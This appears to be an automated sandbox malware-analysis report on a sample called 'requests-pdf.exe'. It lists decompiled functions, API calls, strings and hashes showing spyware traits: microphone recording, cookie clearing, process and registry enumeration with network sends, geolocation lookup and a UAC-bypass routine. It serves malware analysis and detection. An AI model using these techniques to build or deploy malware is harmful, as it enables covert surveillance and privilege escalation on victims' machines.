                                                    • Opcode ID: c2a57007ecaabeafdb2dea6b541a07f99f491d21749d301156e70ae2fc22959b
                                                    • Instruction ID: b40464c9ec282996611fef5cbd20273031f87559cdf671a411eba52403cbf28d
                                                    • Opcode Fuzzy Hash: c2a57007ecaabeafdb2dea6b541a07f99f491d21749d301156e70ae2fc22959b
                                                    • Instruction Fuzzy Hash: DB51E270E002099FEB10CFA8D881AEEBBF8FF09300F14416BE815E3391D6749951CB6A
                                                    Function 004559CA Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 152COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free
                                                    • String ID: HE$HE
                                                    • API String ID: 269201875-1978648262
                                                    • Opcode ID: 396dac2f3812ff065a3283cc201ba07d86737f2a766ab43e7d660d85bd51e2e6
                                                    • Instruction ID: 4134de32792d44acead4bb36f8da9b5b282593f8ffe10db144b1eaf4d9577b64
                                                    • Opcode Fuzzy Hash: 396dac2f3812ff065a3283cc201ba07d86737f2a766ab43e7d660d85bd51e2e6
                                                    • Instruction Fuzzy Hash: 90412A31A009106BEF24AABA8CD5A7F3B64DF45375F14031BFC1896293D67C8C4996AA
                                                    Function 0251A32A Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetConsoleCP.KERNEL32(FF8BC35D,00000000,?,?,?,?,?,?,?,0251AA9F,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 0251A36C
                                                    • __fassign.LIBCMT ref: 0251A3E7
                                                    • __fassign.LIBCMT ref: 0251A402
                                                    • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0251A428
                                                    • WriteFile.KERNEL32(?,FF8BC35D,00000000,0251AA9F,00000000,?,?,?,?,?,?,?,?,?,0251AA9F,?), ref: 0251A447
                                                    • WriteFile.KERNEL32(?,?,00000001,0251AA9F,00000000,?,?,?,?,?,?,?,?,?,0251AA9F,?), ref: 0251A480
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                    • String ID:
                                                    • API String ID: 1324828854-0
                                                    • Opcode ID: d742a0ed7e7f80d5daee9f90daca0257aad30d4fad8407fa3c2509fb5468b32f
                                                    • Instruction ID: 69f2b5752d5a75606bb516f29e8684fbd38557aa158a2277ee7c1ed278e0c0a0
                                                    • Opcode Fuzzy Hash: d742a0ed7e7f80d5daee9f90daca0257aad30d4fad8407fa3c2509fb5468b32f
                                                    • Instruction Fuzzy Hash: 1B51E570E013099FEB11CFA8D885AEEBBF5FF09310F14456AE959E7291D7709940CB68
                                                    Function 00412C88 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,00020019,?), ref: 00412CC1
                                                      • Part of subcall function 004129AA: RegQueryInfoKeyW.ADVAPI32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00412A1D
                                                      • Part of subcall function 004129AA: RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?,?,00000000,?,?,?,?), ref: 00412A4C
                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                    • RegCloseKey.ADVAPI32(TUFTUF,00465554,00465554,00465900,00465900,00000071), ref: 00412E31
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseEnumInfoOpenQuerysend
                                                    • String ID: TUFTUF$>G$DG$DG
                                                    • API String ID: 3114080316-344394840
                                                    • Opcode ID: bf697a078cb867d97e45357ac50b9e71af34c85f47cf55f872e92a0cd902ea26
                                                    • Instruction ID: 92049c6ae7fba3f13a57cd60a3827c89810429dfa6cf24b756c0ab1f01d338b1
                                                    • Opcode Fuzzy Hash: bf697a078cb867d97e45357ac50b9e71af34c85f47cf55f872e92a0cd902ea26
                                                    • Instruction Fuzzy Hash: 0141A2316042009BC224F635D9A2AEF7394AFD0708F50843FF94A671E2EF7C5D4986AE
                                                    Function 024DE90A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132processCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 024EB3C2: GetCurrentProcess.KERNEL32(00000003,?,?,024EA6D8,00000000,00474358,00000003,0046662C,00000000,0000000E,00000000,0046556C,00000003,00000000), ref: 024EB3D3
                                                      • Part of subcall function 024EB3C2: IsWow64Process.KERNEL32(00000000,?,?,024EA6D8,00000000,00474358,00000003,0046662C,00000000,0000000E,00000000,0046556C,00000003,00000000), ref: 024EB3DA
                                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 024DE928
                                                    • Process32FirstW.KERNEL32(00000000,?), ref: 024DE94C
                                                    • Process32NextW.KERNEL32(00000000,0000022C), ref: 024DE95B
                                                    • CloseHandle.KERNEL32(00000000), ref: 024DEB12
                                                      • Part of subcall function 024EB3EE: OpenProcess.KERNEL32(00000400,00000000), ref: 024EB403
                                                      • Part of subcall function 024EB3EE: IsWow64Process.KERNEL32(00000000,?), ref: 024EB40E
                                                      • Part of subcall function 024EB5E4: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 024EB5FC
                                                      • Part of subcall function 024EB5E4: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 024EB60F
                                                    • Process32NextW.KERNEL32(00000000,0000022C), ref: 024DEB03
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$OpenProcess32$NextWow64$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                                                    • String ID: PgF
                                                    • API String ID: 2180151492-654241383
                                                    • Opcode ID: 4103c74ef064f91666f8864adad10e095dbae6404165e6ea80ccaa02d20916fc
                                                    • Instruction ID: 372aee6937be48e930cc1edba7769421afe011597f6a1bd302137a2f7537e254
                                                    • Opcode Fuzzy Hash: 4103c74ef064f91666f8864adad10e095dbae6404165e6ea80ccaa02d20916fc
                                                    • Instruction Fuzzy Hash: 154103312082419BC366FB21DC74AEF73EAEFD4301F50456EE98A86191EF709A49CF56
                                                    Function 00437A80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _ValidateLocalCookies.LIBCMT ref: 00437AAB
                                                    • ___except_validate_context_record.LIBVCRUNTIME ref: 00437AB3
                                                    • _ValidateLocalCookies.LIBCMT ref: 00437B41
                                                    • __IsNonwritableInCurrentImage.LIBCMT ref: 00437B6C
                                                    • _ValidateLocalCookies.LIBCMT ref: 00437BC1
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                    • String ID: csm
                                                    • API String ID: 1170836740-1018135373
                                                    • Opcode ID: 47e26074ed3df67517ea761fc7c27dd00097028ab85dfbf9f1f14e41715e449f
                                                    • Instruction ID: 9404c61c081bc4e6da2099be8a52027e1297fde76841380def533d3eaa533744
                                                    • Opcode Fuzzy Hash: 47e26074ed3df67517ea761fc7c27dd00097028ab85dfbf9f1f14e41715e449f
                                                    • Instruction Fuzzy Hash: CD410970A04209DBCF20EF19C844A9FBBB5AF0932CF14915BE8556B392D739EE05CB95
                                                    Function 024D1CF5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _strftime.LIBCMT ref: 024D1D3A
                                                      • Part of subcall function 024D1E4F: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 024D1EBB
                                                    • waveInUnprepareHeader.WINMM(00471AC0,00000020,00000000,?), ref: 024D1DEC
                                                    • waveInPrepareHeader.WINMM(00471AC0,00000020), ref: 024D1E2A
                                                    • waveInAddBuffer.WINMM(00471AC0,00000020), ref: 024D1E39
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                                                    • String ID: `=G$x=G
                                                    • API String ID: 3809562944-3004145341
                                                    • Opcode ID: 05fbe3f0275308aa01def130e1c9f559704be22902734a160a2ccb4d88025906
                                                    • Instruction ID: 3d4acfc1c80fa1625b0daf0005780f3f530fca2c9e5a86d002ffe5dfe414d4b2
                                                    • Opcode Fuzzy Hash: 05fbe3f0275308aa01def130e1c9f559704be22902734a160a2ccb4d88025906
                                                    • Instruction Fuzzy Hash: D83190315043419FC325EF25DC64A9E77AAFB84300F40883EE959921B5EFB09948CF56
                                                    Function 0040B6EA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 85COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00412513: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 00412537
                                                      • Part of subcall function 00412513: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,00000400), ref: 00412554
                                                      • Part of subcall function 00412513: RegCloseKey.KERNEL32(?), ref: 0041255F
                                                    • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040B76C
                                                    • PathFileExistsA.SHLWAPI(?), ref: 0040B779
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                                                    • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
                                                    • API String ID: 1133728706-4073444585
                                                    • Opcode ID: f18917443f7c6820299f50b24860e0ced39b7309a667dc30009aa6e24bb425c3
                                                    • Instruction ID: d844a8c095f6bc09782a4352348c5dfd082864f820bca84d12e352ec49be167e
                                                    • Opcode Fuzzy Hash: f18917443f7c6820299f50b24860e0ced39b7309a667dc30009aa6e24bb425c3
                                                    • Instruction Fuzzy Hash: 5F216D71A00109A6CB04F7B2DCA69EE7764AE95318F40013FE902771D2EB7C9A49C6DE
                                                    Function 00455903 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: a689da314200d05c27aed096e5791327431372d8d81dee2cdc260883e4ab0459
                                                    • Instruction ID: 969edc756a0dffe936139f0dc9bce31aed38431af2e56c5058bd22e5c2f4fad6
                                                    • Opcode Fuzzy Hash: a689da314200d05c27aed096e5791327431372d8d81dee2cdc260883e4ab0459
                                                    • Instruction Fuzzy Hash: 991124B1508654FBDB202F769C4493B3B6CEF82376B10016FFC15D7242DA7C8805C2AA
                                                    Function 02525B6A Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 73f4216d9227424834ab683a62f21571e8b2afaadca920fe74bb7b8a40116277
                                                    • Instruction ID: aaeebb2a6262b7da1cfc630c27a6564aca8a9dc00ca6ba0a2e9074fd6dc38b2e
                                                    • Opcode Fuzzy Hash: 73f4216d9227424834ab683a62f21571e8b2afaadca920fe74bb7b8a40116277
                                                    • Instruction Fuzzy Hash: 7111A571508226BFDB242F76DC4496B7A6EFBC6721B511569F816D72C0FA30C801CAA8
                                                    Function 0040FBEF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • std::_Lockit::_Lockit.LIBCPMT ref: 0040FBFC
                                                    • int.LIBCPMT ref: 0040FC0F
                                                      • Part of subcall function 0040CEE0: std::_Lockit::_Lockit.LIBCPMT ref: 0040CEF1
                                                      • Part of subcall function 0040CEE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0040CF0B
                                                    • std::_Facet_Register.LIBCPMT ref: 0040FC4B
                                                    • std::_Lockit::~_Lockit.LIBCPMT ref: 0040FC71
                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 0040FC8D
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                    • String ID: P[G
                                                    • API String ID: 2536120697-571123470
                                                    • Opcode ID: 31ce6fe8dfd7390de1d64992225249e105d572f1378bab70f4a441faf385e78a
                                                    • Instruction ID: a46b155a0a589d4ea75c4983af6a631921b9d9812a15003568faaf62f6f01cf1
                                                    • Opcode Fuzzy Hash: 31ce6fe8dfd7390de1d64992225249e105d572f1378bab70f4a441faf385e78a
                                                    • Instruction Fuzzy Hash: 7611F331904518A7CB14FBA5D8469DEB7689E44358B20007BF905B72C1EB7CAE45C79D
                                                    Function 024DFE56 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • std::_Lockit::_Lockit.LIBCPMT ref: 024DFE63
                                                    • int.LIBCPMT ref: 024DFE76
                                                      • Part of subcall function 024DD147: std::_Lockit::_Lockit.LIBCPMT ref: 024DD158
                                                      • Part of subcall function 024DD147: std::_Lockit::~_Lockit.LIBCPMT ref: 024DD172
                                                    • std::_Facet_Register.LIBCPMT ref: 024DFEB2
                                                    • std::_Lockit::~_Lockit.LIBCPMT ref: 024DFED8
                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 024DFEF4
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                    • String ID: P[G
                                                    • API String ID: 2536120697-571123470
                                                    • Opcode ID: 66d1d2f93b0a437ba6194d5bb56da3cbca8cefc802f69fb3ca8fff7099274c15
                                                    • Instruction ID: f31d01c152567c66fec434f0f150e84c50b73a3de5a9442bc030318ca27abd98
                                                    • Opcode Fuzzy Hash: 66d1d2f93b0a437ba6194d5bb56da3cbca8cefc802f69fb3ca8fff7099274c15
                                                    • Instruction Fuzzy Hash: F3110A32E00519E7CB14FBA4DC509EE77799F40324B21005AE90A7B1D0EB70AF45CBD8
                                                    Function 0041A51B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68networkfileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041A53E
                                                    • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041A554
                                                    • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041A56D
                                                    • InternetCloseHandle.WININET(00000000), ref: 0041A5B3
                                                    • InternetCloseHandle.WININET(00000000), ref: 0041A5B6
                                                    Strings
                                                    • http://geoplugin.net/json.gp, xrefs: 0041A54E
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Internet$CloseHandleOpen$FileRead
                                                    • String ID: http://geoplugin.net/json.gp
                                                    • API String ID: 3121278467-91888290
                                                    • Opcode ID: 8d796e82819d20c7747317835cdf85fb334a8da14db2c504802a4fd71c56bfc3
                                                    • Instruction ID: 402fbdb1aff19a1981f8347c65821a4f206ec005c70a85ea4635686413b1fe25
                                                    • Opcode Fuzzy Hash: 8d796e82819d20c7747317835cdf85fb334a8da14db2c504802a4fd71c56bfc3
                                                    • Instruction Fuzzy Hash: 2711C87110A3126BD214AA169C45DBF7FDCEF46365F00053EF905D2191DB689C48C6B6
                                                    Function 0044FCDB Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 0044FA22: _free.LIBCMT ref: 0044FA4B
                                                    • _free.LIBCMT ref: 0044FD29
                                                      • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?), ref: 00446ADB
                                                      • Part of subcall function 00446AC5: GetLastError.KERNEL32(?,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?,?), ref: 00446AED
                                                    • _free.LIBCMT ref: 0044FD34
                                                    • _free.LIBCMT ref: 0044FD3F
                                                    • _free.LIBCMT ref: 0044FD93
                                                    • _free.LIBCMT ref: 0044FD9E
                                                    • _free.LIBCMT ref: 0044FDA9
                                                    • _free.LIBCMT ref: 0044FDB4
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$ErrorFreeHeapLast
                                                    • String ID:
                                                    • API String ID: 776569668-0
                                                    • Opcode ID: 7c29d87e7d6a666a6374703866dd42c53a280d6db8acc668fe4e1522d65ba280
                                                    • Instruction ID: b6f47af98b99390d2ca34363280ce03bc5e4d1be0f6c4f29549f69d6ae0d3a9a
                                                    • Opcode Fuzzy Hash: 7c29d87e7d6a666a6374703866dd42c53a280d6db8acc668fe4e1522d65ba280
                                                    • Instruction Fuzzy Hash: 5F119031711B04B6F520FBB2CC07FCBB7DC9F42308F814C2EB29E76152E628A9184645
                                                    Function 0251FF42 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 0251FC89: _free.LIBCMT ref: 0251FCB2
                                                    • _free.LIBCMT ref: 0251FF90
                                                      • Part of subcall function 02516D2C: HeapFree.KERNEL32(00000000,00000000,?,0251FCB7,?,00000000,?,00000000,?,0251FF5B,?,00000007,?,?,0252046C,?), ref: 02516D42
                                                      • Part of subcall function 02516D2C: GetLastError.KERNEL32(?,?,0251FCB7,?,00000000,?,00000000,?,0251FF5B,?,00000007,?,?,0252046C,?,?), ref: 02516D54
                                                    • _free.LIBCMT ref: 0251FF9B
                                                    • _free.LIBCMT ref: 0251FFA6
                                                    • _free.LIBCMT ref: 0251FFFA
                                                    • _free.LIBCMT ref: 02520005
                                                    • _free.LIBCMT ref: 02520010
                                                    • _free.LIBCMT ref: 0252001B
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$ErrorFreeHeapLast
                                                    • String ID:
                                                    • API String ID: 776569668-0
                                                    • Opcode ID: 7c29d87e7d6a666a6374703866dd42c53a280d6db8acc668fe4e1522d65ba280
                                                    • Instruction ID: 6b9e7adb012f0fa064e8df4c2801c524db1ab3c6f346575362df3f7c59f62ceb
                                                    • Opcode Fuzzy Hash: 7c29d87e7d6a666a6374703866dd42c53a280d6db8acc668fe4e1522d65ba280
                                                    • Instruction Fuzzy Hash: 58119331544B09BAF530B7B0DC05FCB7BAEBF88B04F400818A69A66891DA76B9085F54
                                                    Function 00406815 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CoInitializeEx.OLE32(00000000,00000002,00000000,C:\Users\user\Desktop\requests-pdf.exe), ref: 00406835
                                                      • Part of subcall function 00406764: _wcslen.LIBCMT ref: 00406788
                                                      • Part of subcall function 00406764: CoGetObject.OLE32(?,00000024,004659B0,00000000), ref: 004067E9
                                                    • CoUninitialize.OLE32 ref: 0040688E
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: InitializeObjectUninitialize_wcslen
                                                    • String ID: C:\Users\user\Desktop\requests-pdf.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                                                    • API String ID: 3851391207-3945878349
                                                    • Opcode ID: cc256bbe825efe690782e207798e63cf697be23d062579cdcaa40baaa38e88a5
                                                    • Instruction ID: 622c6236034ee416db36617ed9a374104512909f75adacabffe0517dc70a223e
                                                    • Opcode Fuzzy Hash: cc256bbe825efe690782e207798e63cf697be23d062579cdcaa40baaa38e88a5
                                                    • Instruction Fuzzy Hash: A501C0722013106FE2287B11DC0EF3B2658DB4176AF22413FF946A71C1EAA9AC104669
                                                    Function 0040FED2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • std::_Lockit::_Lockit.LIBCPMT ref: 0040FEDF
                                                    • int.LIBCPMT ref: 0040FEF2
                                                      • Part of subcall function 0040CEE0: std::_Lockit::_Lockit.LIBCPMT ref: 0040CEF1
                                                      • Part of subcall function 0040CEE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0040CF0B
                                                    • std::_Facet_Register.LIBCPMT ref: 0040FF2E
                                                    • std::_Lockit::~_Lockit.LIBCPMT ref: 0040FF54
                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 0040FF70
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                    • String ID: H]G
                                                    • API String ID: 2536120697-1717957184
                                                    • Opcode ID: 3e4a8574ab9db7722bfa12a95caa071d2d4e3d0815d43ad0032f2c9a3dec5087
                                                    • Instruction ID: c39742161ac3258eace465d30f2780732a1ff9819e97f4bd037edafe9ec39b9f
                                                    • Opcode Fuzzy Hash: 3e4a8574ab9db7722bfa12a95caa071d2d4e3d0815d43ad0032f2c9a3dec5087
                                                    • Instruction Fuzzy Hash: 9011BF31900419ABCB24FBA5C8468DDB7799F95318B20007FF505B72C1EB78AF09C799
                                                    Function 024E0139 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • std::_Lockit::_Lockit.LIBCPMT ref: 024E0146
                                                    • int.LIBCPMT ref: 024E0159
                                                      • Part of subcall function 024DD147: std::_Lockit::_Lockit.LIBCPMT ref: 024DD158
                                                      • Part of subcall function 024DD147: std::_Lockit::~_Lockit.LIBCPMT ref: 024DD172
                                                    • std::_Facet_Register.LIBCPMT ref: 024E0195
                                                    • std::_Lockit::~_Lockit.LIBCPMT ref: 024E01BB
                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 024E01D7
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                    • String ID: H]G
                                                    • API String ID: 2536120697-1717957184
                                                    • Opcode ID: 0a2989e8c640b6c3179e3035855110f6a7cb0f7e06d84751caa425ed32edbe19
                                                    • Instruction ID: 844a7d8efc2d7282e9b89a3204e606c89efbee5eac1bf9ffcf4a6c9b8fdfefb6
                                                    • Opcode Fuzzy Hash: 0a2989e8c640b6c3179e3035855110f6a7cb0f7e06d84751caa425ed32edbe19
                                                    • Instruction Fuzzy Hash: AC11BF32900519EBCF15FBA5C9809EEB776AF80355B20005AD8127B190EB70AF06CF95
                                                    Function 024D69CB Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 55COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _wcslen.LIBCMT ref: 024D69EF
                                                    • CoGetObject.OLE32(?,00000024,004659B0,00000000), ref: 024D6A50
                                                    Strings
                                                    Memory Dump Source
